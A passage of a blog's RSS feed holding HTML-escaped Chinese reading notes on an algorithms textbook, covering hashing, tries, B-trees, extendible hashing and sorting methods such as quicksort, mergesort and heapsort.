&lt;li&gt;易于实现，特别是删除操作，在实际中经常使用&lt;/li&gt;
&lt;li&gt;无序链表：
&lt;ul&gt;
&lt;li&gt;插入：常量，很快&lt;/li&gt;
&lt;li&gt;搜索：与 N/M 成正比（M为地址，N为关键字）&lt;/li&gt;
&lt;li&gt;每个链表就像栈一样，可以删除最近插入的元素&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有序链表：搜索加快 1 倍，插入减慢&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;线性探测法：冲突发生时使用下一个空位置
&lt;ul&gt;
&lt;li&gt;聚集：多个元素聚合在一段连续空间&lt;/li&gt;
&lt;li&gt;最好情况：偶数地址为空，奇数地址为满&lt;/li&gt;
&lt;li&gt;最坏情况：表的后半段满，前半段空&lt;/li&gt;
&lt;li&gt;删除：
&lt;ul&gt;
&lt;li&gt;将被删除元素到右边下一个空位置之间的元素重新散列&lt;/li&gt;
&lt;li&gt;将被删除元素用观察哨替换&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;相对于其它方法来说最快，但前提是要有足够内存且表稀疏&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;双重散列表：冲突发生时，使用第 2 个散列函数来找到空位置
&lt;ul&gt;
&lt;li&gt;搜索增量：
&lt;ul&gt;
&lt;li&gt;必定非 0&lt;/li&gt;
&lt;li&gt;应该与表的大小互素&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;装填因子越接近 1，线性探测开销就越比双重散列开销大&lt;/li&gt;
&lt;li&gt;可以使用比线性探测更小的表来得到相同的平均搜索时间&lt;/li&gt;
&lt;li&gt;使用内存最高效，但需计算第 2 个散列函数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;动态散列表：当表中元素数量到达某个阈值（1/2）时使表长加倍，而到达另一个阈值（1/8）时使表长减半
&lt;ul&gt;
&lt;li&gt;当插入操作使表为 1/2 时加倍&lt;/li&gt;
&lt;li&gt;当删除操作使表为 1/8 时减半&lt;/li&gt;
&lt;li&gt;永远介于 1/8 和 1/2 之间&lt;/li&gt;
&lt;li&gt;加倍和减半的阈值应该不同&lt;/li&gt;
&lt;li&gt;适合使用模式无法预知的情况&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;特殊散列：
&lt;ul&gt;
&lt;li&gt;在双重散列插入时把元素来回移动（第1个散列函数得到的地址与第2个交换），使搜索命中率更高&lt;/li&gt;
&lt;li&gt;有序散列：在线性探测中引入排序，使搜索失败的开销接近于搜索成功，等同于对链地址法中的链排序&lt;/li&gt;
&lt;li&gt;异常字典：几乎所有的搜索都应该是失败的，失败搜索快，成功搜索慢&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十五章 基数搜索&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;优点：
&lt;ul&gt;
&lt;li&gt;最坏情况下较好的搜索性能，而无需平衡树的复杂算法&lt;/li&gt;
&lt;li&gt;对变长关键字易于实现&lt;/li&gt;
&lt;li&gt;有些算法在搜索数据结构中提前排序&lt;/li&gt;
&lt;li&gt;与二叉树、散列相比，可快速访问数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;缺点：
&lt;ul&gt;
&lt;li&gt;空间使用效率低&lt;/li&gt;
&lt;li&gt;不能高效访问位时，搜索性能也会受到影响&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;数字搜索树（DST）：左链接代表 0 的选择，右链接代表 1 的选择
&lt;ul&gt;
&lt;li&gt;根据某位的测试来决定向左子树还是右子树前进&lt;/li&gt;
&lt;li&gt;子节点根据关键字某位的比较结果&lt;/li&gt;
&lt;li&gt;适合关键字数目很大，但字长相对较小的情况&lt;/li&gt;
&lt;li&gt;最长路径由最长关键字的位数来决定&lt;/li&gt;
&lt;li&gt;如果关键字是定长的，那么搜索时间也由关键字位数决定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Trie（线索，二叉搜索线索，前缀树，字典树）：
&lt;ul&gt;
&lt;li&gt;关键字有序，且关键字只存储在树的底端（叶节点）&lt;/li&gt;
&lt;li&gt;结构：
&lt;ul&gt;
&lt;li&gt;外部节点：空孩子&lt;/li&gt;
&lt;li&gt;叶节点：左右链表为空的内部结点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;比较位为 0 时，进入左子树&lt;/li&gt;
&lt;li&gt;比较位为 1 时，进入右子树&lt;/li&gt;
&lt;li&gt;搜索：先用位比较来遍历，最后在叶节点进行一次关键字比较&lt;/li&gt;
&lt;li&gt;与输入顺序无关：任一无重复关键字序列，存在唯一线索&lt;/li&gt;
&lt;li&gt;比 BST 更平衡：从中间将关键字分类的概率更大&lt;/li&gt;
&lt;li&gt;缺点：当关键字位多数都为相同时&lt;/li&gt;
&lt;li&gt;节点数目加倍：搜索开销仅增加一次比较操作&lt;/li&gt;
&lt;li&gt;对于长关键字降低开销的方法：
&lt;ul&gt;
&lt;li&gt;把单树枝压缩成单链接来缩短路径长度&lt;/li&gt;
&lt;li&gt;使每个节点包含多于 2 个链接&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;与二叉快速排序（二进制快排）对应，空链接对应空桶&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;帕氏线索：
&lt;ul&gt;
&lt;li&gt;解决标准线索的缺点：
&lt;ul&gt;
&lt;li&gt;单路分支导致多余节点&lt;/li&gt;
&lt;li&gt;两种类型节点使得代码变得复杂&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;避免单路分支：存储要测试的位的序号，跳过位相同的关键字&lt;/li&gt;
&lt;li&gt;避开外部节点：使用指向相应线索中内部节点的链接&lt;/li&gt;
&lt;li&gt;只比较节点中数指示的关键字的位，忽略节点中关键位，当第一次到达向上指向的链接时比较关键字&lt;/li&gt;
&lt;li&gt;适合关键字较长&lt;/li&gt;
&lt;li&gt;中序遍历访问节点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;多路线索：
&lt;ul&gt;
&lt;li&gt;每次比较 r 位，可使搜索加快 r 倍&lt;/li&gt;
&lt;li&gt;R 叉线索：节点为 R 个链接，每个链接代表一种可能的取值&lt;/li&gt;
&lt;li&gt;无节点标号，因为可以从父节点链接数组中指向其本身的链接推导出来&lt;/li&gt;
&lt;li&gt;与多路基数排序对应&lt;/li&gt;
&lt;li&gt;三叉搜索线索（TST）：节点中有 1 个关键字和 3 个链接。链接分别对应小于、等于、大于节点
&lt;ul&gt;
&lt;li&gt;与三路基数排序对应&lt;/li&gt;
&lt;li&gt;改进：在树根直接使用大型多路节点&lt;/li&gt;
&lt;li&gt;优点：
&lt;ul&gt;
&lt;li&gt;使用关键字不规则（关键字并不随机）&lt;/li&gt;
&lt;li&gt;搜索失败时也很高效，即使关键字很长&lt;/li&gt;
&lt;li&gt;支持比符号表更广泛的操作：如部分匹配搜索&lt;/li&gt;
&lt;li&gt;与帕氏线索相比，访问字节而不是位&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;后缀树（字符串索引）：由指向字符串的指针组成
&lt;ul&gt;
&lt;li&gt;线索方法&lt;/li&gt;
&lt;li&gt;文本固定，无需动态插入排序&lt;/li&gt;
&lt;li&gt;带有字符串指针的二叉搜索（可保证的对数搜索时间）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十六章 外部搜索&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;维护对数据的索引：
&lt;ul&gt;
&lt;li&gt;不复制副本：
&lt;ul&gt;
&lt;li&gt;需要相当多的额外空间&lt;/li&gt;
&lt;li&gt;避免多个副本造成数据不统一&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;记录是对实际数据的引用&lt;/li&gt;
&lt;li&gt;主要参数：
&lt;ul&gt;
&lt;li&gt;块大小&lt;/li&gt;
&lt;li&gt;相对访问时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;索引（目录）顺序访问（索引顺序存取）：把关键字和记录的引用按关键字有序放在数组，使用二分搜索
&lt;ul&gt;
&lt;li&gt;改进：
&lt;ul&gt;
&lt;li&gt;二叉树（索引太大）：
&lt;ul&gt;
&lt;li&gt;内部节点：关键字 + 页面引用&lt;/li&gt;
&lt;li&gt;外部节点：关键字 + 记录指针&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;M 叉树：访问 M 表的开销和访问 2 表相同&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;缺点：修改目录的开销很大&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;B 树：
&lt;ul&gt;
&lt;li&gt;定义：
&lt;ul&gt;
&lt;li&gt;M 阶 B 树由 k-节点组成，每个节点有 k-1 个关键字和 k 个指向树的链接，链接表示关键字的 k 个间隔&lt;/li&gt;
&lt;li&gt;对于根节点，k 在 2 和 M 之间；对于其它节点，k 在 M/2 和 M 之间&lt;/li&gt;
&lt;li&gt;所有指向空树的链接到根节点的距离都相等&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;带有记录引用的关键字保存在树底部的外部页面&lt;/li&gt;
&lt;li&gt;带有页面引用的关键字的副本保存在内部页面&lt;/li&gt;
&lt;li&gt;速度和灵活性来源于节点内的未用空间&lt;/li&gt;
&lt;li&gt;每次搜索和插入都会访问根节点，根节点一定会在缓存中&lt;/li&gt;
&lt;li&gt;删除：
&lt;ul&gt;
&lt;li&gt;自然方法：用兄弟节点中的数据项来填充删除的空间&lt;/li&gt;
&lt;li&gt;简单方法：使节点保持非满&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;改进：
&lt;ul&gt;
&lt;li&gt;把尽可能多的页面引用保存在一个节点中：节约时间开销、分支因子增大、树更扁平&lt;/li&gt;
&lt;li&gt;在分裂前把节点与其它兄弟节点组合：提高存储效率&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;可扩展散列：
&lt;ul&gt;
&lt;li&gt;如同散列：随机算法，第一步是定义一个散列函数（由关键字得到整数）&lt;/li&gt;
&lt;li&gt;如同多路线索：使用关键字前几位索引到一个大小为 2 的幂的表&lt;/li&gt;
&lt;li&gt;如同 B 树：把数据项存储在页面中，填满时分裂，有序的&lt;/li&gt;
&lt;li&gt;如同索引顺序访问：维持一个目录，由目录搜索关键字可对应到页面&lt;/li&gt;
&lt;li&gt;定义：阶数为 d 则是一个含有 2^d 个页面引用的目录，目录中有 2^{d-k} 个指向页面的指针，起始于前 k 位决定的位置，页面中数据项不超过
M，关键字前 k 位相同&lt;/li&gt;
&lt;li&gt;可由线索转换而来&lt;/li&gt;
&lt;li&gt;与插入顺序无关&lt;/li&gt;
&lt;li&gt;删除：
&lt;ul&gt;
&lt;li&gt;简单方法：允许页面不满&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;整个目录都在缓存的可能性不大&lt;/li&gt;
&lt;li&gt;改进：
&lt;ul&gt;
&lt;li&gt;把目录组织成单一指针数组（把目录放在内存中）&lt;/li&gt;
&lt;li&gt;把树根保存在内存中&lt;/li&gt;
&lt;li&gt;增加一层数据，对第一层前 10 位索引，第二层对其余位索引&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】数据结构与算法分析 - C 语言描述 - 第三部分 - 排序</title><link>https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part3/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part3/</guid><pubDate>Mon, 02 May 2022 07:24:03 GMT</pubDate><content:encoded>&lt;h2&gt;第六章 基本排序方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;基本的意思是：适用于小规模或特殊结构&lt;/li&gt;
&lt;li&gt;基本排序方法之间的时间复杂度只相差常数因子：都与 N^2 成正比&lt;/li&gt;
&lt;li&gt;可用来改进更复杂算法的效率&lt;/li&gt;
&lt;li&gt;不占用额外的内存空间&lt;/li&gt;
&lt;li&gt;排序：
&lt;ul&gt;
&lt;li&gt;内部排序：任意访问元素&lt;/li&gt;
&lt;li&gt;外部排序：必须顺序访问&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;数组：适合顺序分配&lt;/li&gt;
&lt;li&gt;链表：适合链式分配&lt;/li&gt;
&lt;li&gt;非适应性：所执行的操作序列独立于数据顺序（只使用了比较-交换操作），适于硬件实现&lt;/li&gt;
&lt;li&gt;自适应性：操作序列与比较结果有关，大部分算法都是这类&lt;/li&gt;
&lt;li&gt;减少开销：
&lt;ul&gt;
&lt;li&gt;换成更高效的算法&lt;/li&gt;
&lt;li&gt;缩短内部循环&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;额外内存空间：
&lt;ul&gt;
&lt;li&gt;原位排序：小堆栈或表&lt;/li&gt;
&lt;li&gt;引用数据：N&lt;/li&gt;
&lt;li&gt;足够空间：副本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;稳定的：相同关键字排序后位置不变&lt;/li&gt;
&lt;li&gt;不稳定的：相同关键字排序后位置改变&lt;/li&gt;
&lt;li&gt;强制稳定：
&lt;ul&gt;
&lt;li&gt;改用稳定排序较好&lt;/li&gt;
&lt;li&gt;排序前为各关键字添加小索引&lt;/li&gt;
&lt;li&gt;加长关键字&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;访问的元素过大：使用间接排序&lt;/li&gt;
&lt;li&gt;选择排序：选出最小（最大）元素，与第一个元素交换，然后对除第一个元素外的其余元素重复选择
&lt;ul&gt;
&lt;li&gt;对数据不敏感&lt;/li&gt;
&lt;li&gt;对已排序或全部元素相同：等同于随机元素序列，因为未利用已有顺序，还是平方&lt;/li&gt;
&lt;li&gt;移动数据次数少：适用于大元素&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;插入排序：将较大（较小）元素（可能有多个元素）向后移动，每次有序数组大小加 1
&lt;ul&gt;
&lt;li&gt;对一个有序数组插入一个新元素（有序数组的下个元素），与有序数组的每个元素从右到左比较&lt;/li&gt;
&lt;li&gt;运行时与总逆序数有关，与分布无关&lt;/li&gt;
&lt;li&gt;优化策略：
&lt;ul&gt;
&lt;li&gt;提前停止执行（新元素 &amp;gt;= 有序数组中的元素）：因为这时新元素已插入到正确位置&lt;/li&gt;
&lt;li&gt;设置最小（最大）观察哨关键字&lt;/li&gt;
&lt;li&gt;去掉内部循环中的无用操作&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;比较次数少&lt;/li&gt;
&lt;li&gt;对已排序文件：线性&lt;/li&gt;
&lt;li&gt;对部分排序的文件：高效，因为插入排序（和冒泡排序）执行过程中也是部分有序的&lt;/li&gt;
&lt;li&gt;对已排序的文件添加或修改：使用插入排序高效，但不适合冒泡排序&lt;/li&gt;
&lt;li&gt;效率较低的原因：交换操作只涉及近邻元素，每次只能移动一位&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;冒泡排序：遍历文件，顺序不对则交换，重复直至全部有序
&lt;ul&gt;
&lt;li&gt;也属于选择排序，但需开销更多工作将元素放到合适位置&lt;/li&gt;
&lt;li&gt;内部 for 循环中：
&lt;ul&gt;
&lt;li&gt;冒泡排序：从右边（未排序）向左移动&lt;/li&gt;
&lt;li&gt;插入排序：从左边（已排序）向右移动&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;非适应性&lt;/li&gt;
&lt;li&gt;最坏、最好差别不大&lt;/li&gt;
&lt;li&gt;对已排序：线性&lt;/li&gt;
&lt;li&gt;对于小型文件：选择排序、插入排序的效率是冒泡排序的 2 倍&lt;/li&gt;
&lt;li&gt;优化：
&lt;ul&gt;
&lt;li&gt;提前终止外部循环：当其中一步没有交换时，这时是已排序的&lt;/li&gt;
&lt;li&gt;鸡尾酒排序（Cocktail shaker sort）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;希尔排序：
&lt;ul&gt;
&lt;li&gt;在使文件变得 h- 有序时，通过将较大的元素右移，把元素插入在 h- 子文件中某些元素前面&lt;/li&gt;
&lt;li&gt;每第 h 个元素的集合是一个有序文件：h 个独立的已排序文件，相互交叉在一起&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;对 n 个元素，取一个整数 d &amp;lt; n。将 n 个元素分成 d 组，位置相差为 d 倍数的分成一组，每组 n/d 个元素&lt;/li&gt;
&lt;li&gt;对 d 逐渐减小，直至为 1：对每组使用插入排序&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;插入排序的改进：通过允许非相邻元素进行交换来提高效率&lt;/li&gt;
&lt;li&gt;N^1.25&lt;/li&gt;
&lt;li&gt;步长序列：
&lt;ul&gt;
&lt;li&gt;通常以几何级别减小：2 的幂&lt;/li&gt;
&lt;li&gt;能提高 25% 的效率：&lt;code&gt;for (h = 1; h &amp;lt;= (r-l)/9; h = 3*h+1)&lt;/code&gt;：1, 4, 13, ...&lt;/li&gt;
&lt;li&gt;最好：1, 5, 19, ...&lt;/li&gt;
&lt;li&gt;最简单：1, 8, 23, ...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;指针排序（索引排序）：不移动元素，维持一个索引数组，元素的关键字仅比较时访问。不会交换真的元素，而是交换索引，可通过索引来访问元素
&lt;ul&gt;
&lt;li&gt;原位排序（合适置换、原位重排）&lt;/li&gt;
&lt;li&gt;可以避免扰乱要排序的数据和避免移动整个记录&lt;/li&gt;
&lt;li&gt;可用于对只读访问的数据排序&lt;/li&gt;
&lt;li&gt;灵活：操纵数据而不改变数据&lt;/li&gt;
&lt;li&gt;记录还是过大：还是选择使用选择排序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链表排序：
&lt;ul&gt;
&lt;li&gt;适用于指向正在操纵的表节点的指针是由应用系统的其它部分操纵的时：这时只能改变节点中的链接，而不能改变关键字值等其它信息&lt;/li&gt;
&lt;li&gt;高效支持链表操作时才会高效&lt;/li&gt;
&lt;li&gt;排序后使得按链接访问（遍历）时是有序的，同时其它链接不改变顺序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;关键字索引统计（计数排序）：
&lt;ul&gt;
&lt;li&gt;关键字必须是在一个小范围内的整数&lt;/li&gt;
&lt;li&gt;对于 N 个介于 0-R-1 之间的关键字：线性&lt;/li&gt;
&lt;li&gt;大小为 R 的辅助表用于存放统计数&lt;/li&gt;
&lt;li&gt;大小为 N 的表用于重排记录&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第七章 快速排序&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在两部分有序时重排以使整个文件有序：一个选择操作，后跟两个递归调用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通用：易于实现&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;处理多种不同输入&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;消耗资源少&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;原位排序：小辅助栈&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;平均与 NlgN 成正比&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最坏平方&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不稳定：基于数组的快速排序无法稳定&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;内部循环小&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;分治（递归）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分别进行排序，每次将一个元素移到最终位置&lt;/li&gt;
&lt;li&gt;数组中有一个或零个元素时终止（基线条件）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;a[l]-a[i-1] 中的元素都比 a[i] 小（大）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;a[i+1]-a[r] 中的元素都比 a[i] 大（小）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;左指针 l 从左扫描，直到找到比 i 大（小）的元素，停止&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;右指针 r 从右扫描，直到找到比 i 小（大）的元素，停止&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;停止并交换这两个元素，直至两个指针相遇，这时完成划分，再将右指针与 i 交换&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当元素与 i 相等时：两个指针都停止并交换较好&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优化策略：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;混合算法：在遇到小的子文件（阈值M在5-25之间）时调用插入排序
&lt;ul&gt;
&lt;li&gt;几乎所有的递归算法在小问题中都会占据大部分时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;三者取中划分（采样）：取三个元素的中位数作为划分元素
&lt;ul&gt;
&lt;li&gt;5% 提升&lt;/li&gt;
&lt;li&gt;最坏情况几乎不可能发生&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;随机元素（概率算法）：最坏可能性变小&lt;/li&gt;
&lt;li&gt;消除递归、用内嵌代码代替函数调用、使用观察哨&lt;/li&gt;
&lt;li&gt;三者取中划分 + 小的子文件阈值：20%-25% 提升&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重复关键字：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用三路划分方法：
&lt;ol&gt;
&lt;li&gt;扫描时，将遇到的左子文件中与划分元素相等的放到最左边（leftEqual 指针指向），右子文件中与划分元素相等的放到最右边（rightEqual
指针指向）&lt;/li&gt;
&lt;li&gt;然后，当两个扫描指针相遇时，等值关键字的精确位置就知道了，只需将所有等值关键字交换到划分元素两边即可&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;数组中的元素组成：
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择算法（第 k 大（小）元素问题）：快排中的划分过程：partition 函数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;平均：线性&lt;/li&gt;
&lt;li&gt;最坏：与快排相同，平方
&lt;ul&gt;
&lt;li&gt;修改选择过程，可保证线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;快排基础：找出文件第 k 大（小）元素
&lt;ul&gt;
&lt;li&gt;将文件分为两个部分：k 个最小元素 + N-k 个最大元素&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第八章 归并与归并排序&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;归并操作：将两个独立的文件合并成一个文件&lt;/li&gt;
&lt;li&gt;将文件分为两部分来排序，对这两部分有序的文件进行组合，以使整个文件都有序&lt;/li&gt;
&lt;li&gt;两个递归调用 + 一个归并过程&lt;/li&gt;
&lt;li&gt;无论任何输入都为：与 NlgN 成正比，加上与 N 成正比的额外空间&lt;/li&gt;
&lt;li&gt;顺序访问数据：适合链表（同样高效）、适合外部排序（多路归并）&lt;/li&gt;
&lt;li&gt;两路归并：给定两个已排序文件，取出其中最小（大）文件放入最终文件&lt;/li&gt;
&lt;li&gt;两个有序子文件不相交：彼此不共享元素和存储空间&lt;/li&gt;
&lt;li&gt;独特应用：将新一组小文件排序，再与大文件归并&lt;/li&gt;
&lt;li&gt;优化策略：
&lt;ul&gt;
&lt;li&gt;对小文件改用插入排序：10%-15% 提升&lt;/li&gt;
&lt;li&gt;使用抽象原位排序来避免复制数组的额外开销：
&lt;ul&gt;
&lt;li&gt;在复制时将第二个数组变成倒序（无需额外开销），因此相关的指针改为从右向左移动&lt;/li&gt;
&lt;li&gt;bitonic 序列：关键字先递增再递减（或先递减再递增）&lt;/li&gt;
&lt;li&gt;不稳定&lt;/li&gt;
&lt;li&gt;代价：需要在内循环中放入检测是否到达末尾的代码&lt;/li&gt;
&lt;li&gt;解决：重新生成 bitonic 序列，这样就无需观察哨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;结合以上优化策略：40% 提升&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;自顶向下（Top-down，递归法）：先处理左半部分，后处理右半部分&lt;/li&gt;
&lt;li&gt;自底向上（Bottom-up，迭代法）：从左到右处理其余最小的&lt;/li&gt;
&lt;li&gt;自然归并排序（链表归并）：
&lt;ul&gt;
&lt;li&gt;不是 ceil(lgN) 而是 ceil(lgS)，S 为原数组中有序子文件个数&lt;/li&gt;
&lt;li&gt;含有有序子文件的块：高效的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;与快速排序的对比：
&lt;ul&gt;
&lt;li&gt;归并排序：
&lt;ul&gt;
&lt;li&gt;以最小开始，以最大结束&lt;/li&gt;
&lt;li&gt;分成两部分，分别处理每部分&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;快速排序：
&lt;ul&gt;
&lt;li&gt;以最大子文件开始，以最小结束&lt;/li&gt;
&lt;li&gt;大多数工作在递归调用之前就已完成&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第九章 优先队列与堆排序&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;优先队列：
&lt;ul&gt;
&lt;li&gt;插入新元素、删除最大（小）元素&lt;/li&gt;
&lt;li&gt;栈和队列的推广&lt;/li&gt;
&lt;li&gt;排序：先插入所有记录，然后依次取出
&lt;ul&gt;
&lt;li&gt;无序表：选择排序&lt;/li&gt;
&lt;li&gt;有序表：插入排序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;重复关键字：含有最大（小）关键字值的记录&lt;/li&gt;
&lt;li&gt;堆有序树的有向链表（三链）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;堆：优先队列的一种实现
&lt;ul&gt;
&lt;li&gt;堆有序：每个关键字必定大于（小于）或等于所有子节点&lt;/li&gt;
&lt;li&gt;数组表示：根节点 a[1]、子节点 a[2], a[3]，再下一层以此类推&lt;/li&gt;
&lt;li&gt;位置：i 处节点的父节点为： floor(i/2)，两个子节点为：2i, 2i+1&lt;/li&gt;
&lt;li&gt;完全二叉树：N 个节点，路径节点约为：lgN，最下一层节点：N/2，每层节点数是下一层的一半，最多 lgN 层&lt;/li&gt;
&lt;li&gt;链表实现：
&lt;ul&gt;
&lt;li&gt;三链堆有序的完全树&lt;/li&gt;
&lt;li&gt;联赛&lt;/li&gt;
&lt;li&gt;二项队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;堆化（修正堆）：先侵犯堆的条件，再遍历堆，在需要的时候修改堆使其满足堆有序的条件
&lt;ul&gt;
&lt;li&gt;不断与父节点（子节点）比较并交换&lt;/li&gt;
&lt;li&gt;堆底：向上遍历，直到根节点&lt;/li&gt;
&lt;li&gt;替换根节点：向下遍历，直到堆底&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;数组中第一个元素即为堆顶，最后一个元素为树表示中最右边最下面的元素&lt;/li&gt;
&lt;li&gt;插入：在数组末尾插入新元素，然后向上堆化&lt;/li&gt;
&lt;li&gt;取出最大（小）元素：取出堆顶元素，由数组末尾元素代替，再向下堆化&lt;/li&gt;
&lt;li&gt;构造堆：
&lt;ul&gt;
&lt;li&gt;一个个插入：平均线性，最坏线性对数&lt;/li&gt;
&lt;li&gt;自底向上：从数组中间开始向后扫描，对每个节点进行向下堆化。平均、最坏：线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;堆排序：构造堆后，循环交换堆顶元素和数组末尾元素，并对堆顶进行向下堆化
&lt;ul&gt;
&lt;li&gt;可用于第 k 大元素问题：最好常数&lt;/li&gt;
&lt;li&gt;与输入无关&lt;/li&gt;
&lt;li&gt;不稳定&lt;/li&gt;
&lt;li&gt;无额外时间&lt;/li&gt;
&lt;li&gt;Floyd 改进：有最少比较次数，适用于比较开销较大的元素，但需要额外空间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;二项队列：
&lt;ul&gt;
